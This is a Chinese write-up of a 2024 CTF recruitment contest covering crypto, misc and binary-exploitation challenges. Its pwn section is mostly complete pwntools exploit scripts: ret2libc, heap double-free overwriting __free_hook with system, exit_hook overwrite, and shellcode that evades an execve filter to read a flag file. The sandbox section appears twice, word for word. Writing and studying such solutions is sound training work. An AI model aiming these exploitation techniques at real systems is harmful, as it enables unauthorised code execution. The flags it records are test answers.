Crypto
babyrsa
from Crypto.Util.number import *
from gmpy2 import *
c= 26428833089108619112543401377941163419250979664642943265508299590822837869637933032370723949505865732807509403008980001111126916951783370112684210389785537281772283550671588624722308805725690672754930080353732780773520348162269222216066784929770887093491417457520261709140762293279009605346348694646769053808
dp= 2908765611205924273147522425659082857753146913792876137567837302097103761504536876761719367145583429581937629102185312721298454071991277772268892326268461
e= 678204201444457
n= 91945882884578821743319552426161584716831335933352763790164193549305798844715147629985058062431350555610497226792134383366977843250763493601486535786929199048851645987081994100801330744528991317430039189841420249167955558610383082595817607430148007041336708502202187175595618185677867947851913024096633429531
p=gcd(pow(2,e*dp,n)-2,n)
m=pow(c,dp,p)
print(long_to_bytes(m))
# b'ayyctf{ae172204619343a9aa7299e2bf892c33}'
smooth_RSA
因为n是p-1之后不光滑的,所以我们可以通过这个地方来分解n。
while True:
a = powmod(a, k, N)
res = gcd(a-1, N)
if res != 1 and res != N:
q = N // res
print("p =",res)
print("q =",q)
break
k += 1
分解之后拿到半段flag。
后面的flag则为离散对数问题,用bsgs或者Pohlig–Hellman求解m。
最后拼接起来就是最终的flag。
from gmpy2 import *
a = 2
k = 2
n = 16143891519325923809125920344928514269138384879479480348218438571346662144379115683548750068403993234450824801420419870311176186484932569155386430863683900901104669631671988093057211069724265948322314298654217579055497379419239434106030837145175228585016734660480802013831487185568073280807156405889325966288603171493964848844741901669659100451279444344651574654733676775760760320950729248028578341852773569301079091687792672215882759551396673594127955018647904673235840743070237662636226784839132962074000225879468256396069223592010455669530487863636835912184140723019800663486485296917934708485512835085782806194033
c_1 = 7112350868869829886840551701814087530489677635347746657905748394294619089476549048862303253782011712993636879585666230112801521440247553836222895212157883766872087311098328895668535021306297865535247676174440796636240521507804445271883177178276269753038022175319279139814227579107843292613640483047848301767872075006972539675997144911848868579204983238763352529222303794792917196197318078616989351341395741336594865835347806914451305264933301475646040702008585352942224702361581715676068598608847594223565675267814635160303443678278930667710713779813686094242364706376241680419108778090968231090719482128196365646709
c_2 = 13689952379959960785304653155381940831780784650984698843926738621427378921833360289314355705302342044688760728162022474533152544761004181618957036492251709018395686987828651818850951561574227430953895649362625339864964397957764736341029879184957677963956860712326659340433931058813393528095118566800223063366656201538077019721396867864560071614369494048091587062822233796535861147829307670568567176841876056775716141185683889605930759561685694343612452944504977066043844072039190540560407510559996101505735799561237961891908211816484079994007043261444697677696068383565594469701736806846595573441175347568641942415173
N = n
while True:
a = powmod(a, k, N)
res = gcd(a-1, N)
if res != 1 and res != N:
q = N // res
print("p =",res)
print("q =",q)
break
k += 1
#输出
p = 109268750583210492912661319721515389321646957381678101188499321864013625365519396522869980584963944578652262909020200147281565838130301430582501248513401589422714205531526772647864509500814555502679061916959124401208489789418598136263500225389697644750645159566942457638611268993601752065879341124894542990799
q = 147744816639337381196428076346596686737072295580622582168516622486360559872553656509736189196912944607579571587207736696005514882002468398928242401016594778431756925333772439024534898247722260489175348340949971510835707006885734749277554884291959890878892310446954970440828425252231916139773617158390810789567
from Crypto.Util.number import *
n = 16143891519325923809125920344928514269138384879479480348218438571346662144379115683548750068403993234450824801420419870311176186484932569155386430863683900901104669631671988093057211069724265948322314298654217579055497379419239434106030837145175228585016734660480802013831487185568073280807156405889325966288603171493964848844741901669659100451279444344651574654733676775760760320950729248028578341852773569301079091687792672215882759551396673594127955018647904673235840743070237662636226784839132962074000225879468256396069223592010455669530487863636835912184140723019800663486485296917934708485512835085782806194033
c_1 = 7112350868869829886840551701814087530489677635347746657905748394294619089476549048862303253782011712993636879585666230112801521440247553836222895212157883766872087311098328895668535021306297865535247676174440796636240521507804445271883177178276269753038022175319279139814227579107843292613640483047848301767872075006972539675997144911848868579204983238763352529222303794792917196197318078616989351341395741336594865835347806914451305264933301475646040702008585352942224702361581715676068598608847594223565675267814635160303443678278930667710713779813686094242364706376241680419108778090968231090719482128196365646709
c_2 = 13689952379959960785304653155381940831780784650984698843926738621427378921833360289314355705302342044688760728162022474533152544761004181618957036492251709018395686987828651818850951561574227430953895649362625339864964397957764736341029879184957677963956860712326659340433931058813393528095118566800223063366656201538077019721396867864560071614369494048091587062822233796535861147829307670568567176841876056775716141185683889605930759561685694343612452944504977066043844072039190540560407510559996101505735799561237961891908211816484079994007043261444697677696068383565594469701736806846595573441175347568641942415173
p = 109268750583210492912661319721515389321646957381678101188499321864013625365519396522869980584963944578652262909020200147281565838130301430582501248513401589422714205531526772647864509500814555502679061916959124401208489789418598136263500225389697644750645159566942457638611268993601752065879341124894542990799
q = 147744816639337381196428076346596686737072295580622582168516622486360559872553656509736189196912944607579571587207736696005514882002468398928242401016594778431756925333772439024534898247722260489175348340949971510835707006885734749277554884291959890878892310446954970440828425252231916139773617158390810789567
phi=(p-1)*(q-1)
e=65537
d=inverse_mod(e,phi)
m_1=pow(c_1,d,n)
f1=long_to_bytes(int(m_1))
#print(f1)
# Baby-step Giant-step法
def babystep_giantstep(g, y, p, q=None):
if q is None:
q = p - 1
m = int(q**0.5 + 0.5)
# Baby step
table = {}
gr = 1 # g^r
for r in range(m):
table[gr] = r
gr = (gr * g) % p
# Giant step
try:
gm = pow(g, -m, p) # gm = g^{-m}
except:
return None
ygqm = y # ygqm = y * g^{-qm}
for q in range(m):
if ygqm in table:
return q * m + table[ygqm]
ygqm = (ygqm * gm) % p
return None
# Pohlig–Hellman法
def pohlig_hellman_DLP(g, y, p):
crt_moduli = []
crt_remain = []
for q, _ in factor(p-1):
x = babystep_giantstep(pow(g,(p-1)//q,p), pow(y,(p-1)//q,p), p, q)
if (x is None) or (x <= 1):
continue
crt_moduli.append(q)
crt_remain.append(x)
x = crt(crt_remain, crt_moduli)
return x
g = e
y = c_2
m21 = pohlig_hellman_DLP(g, y, p)
m22 = pohlig_hellman_DLP(g,y,q)
m2=crt([m21,m22],[p,q])
f2=long_to_bytes(m2)
f=f1+f2
print(f)
#b'ayyctf{015f0d60fab48cac3408d5a83a64010b}'
SpecialCurve
蒙哥马利曲线转化成维尔斯特拉斯曲线,再解个specialcurve攻击。
from Crypto.Util.number import *
a = 0
d = 1067663980588612691369570988219743179260212924291925044
p = 1365855822212045061018261334821659180641576788523935481
res = (332832991729711705444321658734846793983440855059193404, 167084006901733094301954422464255018743654898458814341)
G = (204960446610608938346430442359195852118976306046604792, 943645157159957654849276255582541697467044830990555402)
v = G[0]
w = G[1]
# 转化->蒙哥马利
# Kt^2=s^3+js^2+s
J = (2 * (a + d)) * inverse_mod((a - d), p) % p
K = 4 * inverse_mod((a - d), p) % p
print('蒙哥马利参数:')
print('J=', J)
print('K=', K)
s = (1 + w) * inverse_mod((1 - w), p) % p
t = s * inverse_mod(v, p) % p
print('蒙哥马利上的基点:')
print('(s,t)=', (s, t))
Ps = (1 + res[1]) * inverse_mod((1 - res[1]), p) % p
Pt = Ps * inverse_mod(res[0], p) % p
print('蒙哥马利上的结果点:')
print('(Ps,Pt)=', (Ps, Pt))
A = (3 - J ^ 2) * inverse_mod((3 * K ^ 2), p) % p
B = (2 * J ^ 3 - 9 * J) * inverse_mod((27 * K ^ 3), p) % p
print('维尔斯特拉斯参数:')
print('A=', A)
print('B=', B)
x = (3 * s + J) * inverse_mod((3 * K), p) % p
y = t * inverse_mod(K, p) % p
print('维尔斯特拉斯上的基点:')
print('(x,y)=', (x, y))
Px = (3 * Ps + J) * inverse_mod((3 * K), p) % p
Py = Pt * inverse_mod(K, p) % p
print('维尔斯特拉斯上的结果点:')
print('(Px,Py)=', (Px, Py))
assert (Py ^ 2) % p == (Px ^ 3 + A * Px + B) % p
def attack(p, a2, a4, a6, Gx, Gy, Px, Py):
"""
Solves the discrete logarithm problem on a singular curve (y^2 = x^3 + a2 * x^2 + a4 * x + a6).
:param p: the prime of the curve base ring
:param a2: the a2 parameter of the curve
:param a4: the a4 parameter of the curve
:param a6: the a6 parameter of the curve
:param Gx: the base point x value
:param Gy: the base point y value
:param Px: the point multiplication result x value
:param Py: the point multiplication result y value
:return: l such that l * G == P
"""
x = GF(p)["x"].gen()
f = x ^ 3 + a2 * x ^ 2 + a4 * x + a6
roots = f.roots()
print('roots=', roots)
# Singular point is a cusp.
if len(roots) == 1:
alpha = roots[0][0]
u = (Gx - alpha) / Gy
v = (Px - alpha) / Py
return int(v / u)
# Singular point is a node.
if len(roots) == 2:
if roots[0][1] == 2:
alpha = roots[0][0]
beta = roots[1][0]
elif roots[1][1] == 2:
alpha = roots[1][0]
beta = roots[0][0]
else:
raise ValueError("Expected root with multiplicity 2.")
t = (alpha - beta).sqrt()
u = (Gy + t * (Gx - alpha)) / (Gy - t * (Gx - alpha))
v = (Py + t * (Px - alpha)) / (Py - t * (Px - alpha))
return int(v.log(u))
raise ValueError(f"Unexpected number of roots {len(roots)}.")
secret = attack(p, 0, A, B, x, y, Px, Py)
print('secret=', secret)
print(b'ayyctf{' + long_to_bytes(secret) + b'}')
# b'ayyctf{hhh!_4_S1n9ular_CurV3!}'
misc
dog
png的IHDR隐写,将图片高度改为02 30再打开图片得到flag
play4fun
-
打开flag.txt发现一堆01
-
使用CyberChef转换
timestamp
txt文本中存在sonw隐写
下载附件得到两个文件一个是带密码的rar压缩包一个是passwd文件。
打开passwd.txt发现一串英文翻译出来后没有可用的数据,发现文本下一堆空格。
百度搜索CTF用空格加密的文件方法,得出sonw是使用空格加密的。
直接网上下载sonw,SONW.EXE -C 文件名,直接解密得出密码。
解开压缩包文件中没有内容,根据题目提示从时间戳入手。
查看文件属性发现只有修改时间没变直接读取修改时间的时间戳。
直接使用python读取修改时间戳。
import time
file='0.txt' #文件绝对路径
file_time=os.stat(file) #读取时间戳
file_time=file_time.st_mtime #读取修改文件时间信息
print(file_time)
读取出第一个文件0.txt的时间戳以此类推读取出后面文件所有的时间戳。
1721358097.0
前面数字一致但是发现后面的数字不一致,单独读取出来:
1721358097.0
1721358121.0
1721358121.0
1721358099.0
1721358116.0
1721358102.0
1721358123.0
1721358052.0
1721358049.0
1721358101.0
1721358049.0
1721358045.0
1721358098.0
1721358101.0
1721358099.0
1721358054.0
1721358045.0
1721358101.0
1721358102.0
1721358097.0
1721358049.0
1721358057.0
1721358125.0
得出ASCII码,直接在线解密得出flag:
97 121 121 99 116 102 123 52 49 101 49 45 98 101 99 54 45 101 102 97 49 57 125
ayyctf{41e1-bec6-efa19}
也可以使用python批量读取时间戳直接解码:
import time
for i in range(23): #循环总共文件
file='{}.txt'.format(i)#文件绝对路径
file_time=os.stat(file) #读取时间戳
file_time=str(file_time.st_mtime) #读取修改时间戳
print(chr(int(file_time[7:10])),end='') #读取第7位数字后的内容并以解密后的ASCII显示
ayyctf{41e1-bec6-efa19}
签到
关注公众号
PWN
ezheap
猜数字,但是猜对就退出,注意代码审计,猜错一百次就可以得到一次申请堆并获得堆地址的机会。
申请一个libc上的地址即可泄露基地址,然后有一个八字节任意地址写的机会,改exit_hook为ogg即可。
from pwn import *
from ctypes import *
#from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('x1b[01;38;5;214m' + content + ' = ' + hex(data) + 'x1b[0m')
lg = lambda content : print('x1b[01;38;5;214m' + content +'x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
s = lambda data: io.send(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda :u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
h64=lambda :u64(io.recv(6).ljust(8,b'x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):
if(c):
gdb.attach(io, c)
pause()
else:
gdb.attach(io)
pause()
#---------------------------------------------------------
libc = ELF('./libc-2.27.so')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
filename = "./pwn"
#io = process(filename)
io = remote("223.112.39.137",39555)
#io=remote("127.0.0.1",9090)
elf = ELF(filename)
#---------------------------------------------------------
for i in range(100):
rl("Guess a number (0-99):")
vv= 1
#print(v1)
print(vv)
sl(str(vv))
rl(b"successfully.n")
sla("input size you want to mallocn",str(0x1000000))
add=int(io.recv(14),16)+ 0x1000ff0
lg(hex(add))
exit_hook=add+0x619060+3840
malloc=add+libc.sym['__malloc_hook']
ogg=0x040142D
#0x4f322 0x10a38c 0x4f2c5
lg(hex(add))
_rtld_global =add+0x226060
_dl_rtld_lock_recursive =add + 0xf08
_dl_rtld_unlock_recursive = add + 0xf10
sa("input address: ",p64(exit_hook))
sleep(1)
#dbg()
sla("n",p64(ogg))
inter()
ezstack
题目存在栈溢出写,打ret2libc。
思路:
from pwn import *
from ctypes import *
#from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('x1b[01;38;5;214m' + content + ' = ' + hex(data) + 'x1b[0m')
lg = lambda content : print('x1b[01;38;5;214m' + content +'x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
s = lambda data: io.send(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda :u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
h64=lambda :u64(io.recv(6).ljust(8,b'x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):
if(c):
gdb.attach(io, c)
pause()
else:
gdb.attach(io)
pause()
#---------------------------------------------------------
libc = ELF('./libc-2.27.so')
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
filename = "./pwn"
#io = process(filename)
io = remote("223.112.39.137",56617)
elf = ELF(filename)
#---------------------------------------------------------
leave=0x40120e
rdi=0x0000000000401273
ret=0x0040101a
main=elf.sym['main']
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
payload=b'a'*0x10+p64(0)+p64(rdi)+p64(putsgot)+p64(putsplt)+p64(main)
sla("input:",payload)
libcbase=l64()-libc.sym['puts']
system=libcbase+libc.sym['system']
binstr=libcbase+next(libc.search(b'/bin/sh'))
lg(hex(libcbase))
payload=b'a'*0x10+p64(0)+p64(rdi)+p64(binstr)+p64(ret)+p64(system)+p64(main)
sla("input:",payload)
inter()
flower
漏洞点
sell函数存在uaf漏洞。
unsigned __int64 sub_CF3()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Enter the index of the flower to sell: ");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 < dword_202360 )
{
free(*((void **)&unk_202040 + v1));
puts("Sold!");
}
return __readfsqword(0x28u) ^ v2;
}
检测保护
保护全开。
利用思路
-
信息搜集
程序只能申请0x70和0x90大小的chunk,且没有edit操作,存在uaf,堆块数量无限制。
给出libc版本为Ubuntu GLIBC 2.27-3ubuntu1
,该版本引入tcache,但是没有对doublefree进行限制,Ubuntu GLIBC 2.27-3ubuntu1.6
才检测tcache的doublefree。 -
填满tcachebin后利用0x90的unsortedbin泄露libc -
清空tcachebin后进行doublefree将chunk申请到__free_hook -
将__free_hook修改为system函数 -
free掉含‘/bin/sh’的堆块,getshell
exp
from pwn import *
from LibcSearcher import*
def buy90(id):
p.sendlineafter('Choice: ', '1')
p.sendlineafter('ID:n', id)
def buy70(id):
p.sendlineafter('Choice: ', '2')
p.sendlineafter('ID:n', id)
def show(idx):
p.sendlineafter('Choice: ', '4')
p.sendlineafter("Enter the index of the flower to show: ", str(idx))
def sell(idx):
p.sendlineafter('Choice: ', '5')
p.sendlineafter("Enter the index of the flower to sell: ", str(idx))
context.update(arch="amd64", os="linux")
context.log_level="debug"
exe = ELF('./pwn')
host, port = "ip", "port"
p = remote(host,port)
#p = process(exe.path)
def debug():
gdb.attach(p,"set follow-fork-mode parentnbreak *$rebase(0xe01)n")
sleep(3)
for i in range(9): #0-8
buy90(b'a')
for i in range(7):
sell(i)
sell(7)
show(7)
p.recvuntil(b'ID: ')
leak=u64(p.recv(6).ljust(8,b"x00"))
print("leak = " + hex(leak))
malloc_hook = leak - 96 - 0x10
libc = LibcSearcher('__malloc_hook',malloc_hook)
libc_base = malloc_hook - libc.dump('__malloc_hook')
free_hook = libc_base + libc.dump('__free_hook')
print("__free_hook = " + hex(free_hook))
system = libc_base + libc.dump("system")
for i in range(8):
buy90(b'a') #9-16
buy70(b"aaaa")#17
buy70(b"aaaa")#18
buy70(b"aaaa")#19
sell(17)
sell(18)
sell(17)
buy70(p64(free_hook - 0x10))#20
buy70(b'/bin/shx00') #21
buy70(b"dddd") #22
buy70(p64(0)*2 + p64(system)) #23
sell(21)
p.interactive()
sandbox
程序分析
从题目名称可以看出是一个沙盒类型的题目,程序主要功能如下:
-
init_io:程序初始化IO流; -
banner:打印欢迎信息,并输出banner函数地址,虽然程序保护机制全开,但有了此函数地址可绕过PIE保护; -
init_UC、init_global:初始化工作,为结构体分配堆块进行存储; -
read_from_user:与用户交互,为用户分配0x200字节以内的堆块,并写入用户输入的内容; -
parse_ins:会解析用户输入的内容为汇编指令,并输出到控制台上; -
init_machine:使用一些库函数,分配和映射某些地址,以及段信息; -
emulator:对用户输入的指令进行模拟,并且在syscall指令调用之前,检查了rax寄存器的值,也就是检查了系统调用号,不允许为0x3b,也就是不允许调用execve; -
run:此函数映射一段内存,赋予可读可写可执行权限,然后执行用户输入的shellcode。
利用思路
通过以上分析,不难想到的是,只要不使用系统调用号0x3b即可完成shellcode。那么除了执行execve("/bin/sh", 0, 0)之外,还可以通过open、read、write的方式来读取系统中的文件。利用思路如下:
-
首先关闭标准输入流,也就是调用close(0),这一步目的是确保后续打开flag文件时的文件描述符为0; -
以只读方式打开flag文件,open("./flag", 0); -
使用打开的flag文件描述符读取到内存中,长度0x40基本上够用了,read(fd, buf, 0x40); -
最后调用write把读取到buf的内容打印出来,write(1, buf, 0x40),即可获得flag。
完整利用脚本
#coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']
context.arch = 'amd64'
io = remote('192.168.2.14',9999)
#io = process('./sandbox')
io.recvuntil('A gift for you : ')
elf_addr = eval(io.recv(len('0x560bdadfd4ce')))
elf_base = elf_addr - 0x1572
info(hex(elf_base))
bss = elf_base + 0x5020
shellcode = asm(shellcraft.close(0))
shellcode += asm(shellcraft.open("/flag",0))
shellcode += asm(shellcraft.read(0, bss+0x900, 0x30))
shellcode += asm(shellcraft.write(1, bss+0x900, 0x30))
#shellcode = asm(shellcraft.sh())
print(len(shellcode))
io.sendlineafter("> ",str(len(shellcode)))
# gdb.attach(io,"b emulation")
io.sendlineafter("Your input : ", shellcode)
io.interactive()
其他题解
没有禁用execveat函数,可编写shellcode获取shell。
完整利用脚本
#coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']
context.arch = 'amd64'
io = remote('192.168.2.14',9999)
#io = process('./sandbox')
io.recvuntil('A gift for you : ')
elf_addr = eval(io.recv(len('0x560bdadfd4ce')))
elf_base = elf_addr - 0x1572
info(hex(elf_base))
bss = elf_base + 0x5020
shellcode = asm(shellcraft.close(0))
shellcode += asm(shellcraft.open("/flag",0))
shellcode += asm(shellcraft.read(0, bss+0x900, 0x30))
shellcode += asm(shellcraft.write(1, bss+0x900, 0x30))
#shellcode = asm(shellcraft.sh())
print(len(shellcode))
io.sendlineafter("> ",str(len(shellcode)))
# gdb.attach(io,"b emulation")
io.sendlineafter("Your input : ", shellcode)
io.interactive()
其他题解
没有禁用execveat函数,可编写shellcode获取shell。
原文始发于微信公众号(山石网科安全技术研究院):2024年第四届山石CTF招新赛WP CRYPTO&MISC&PWN篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论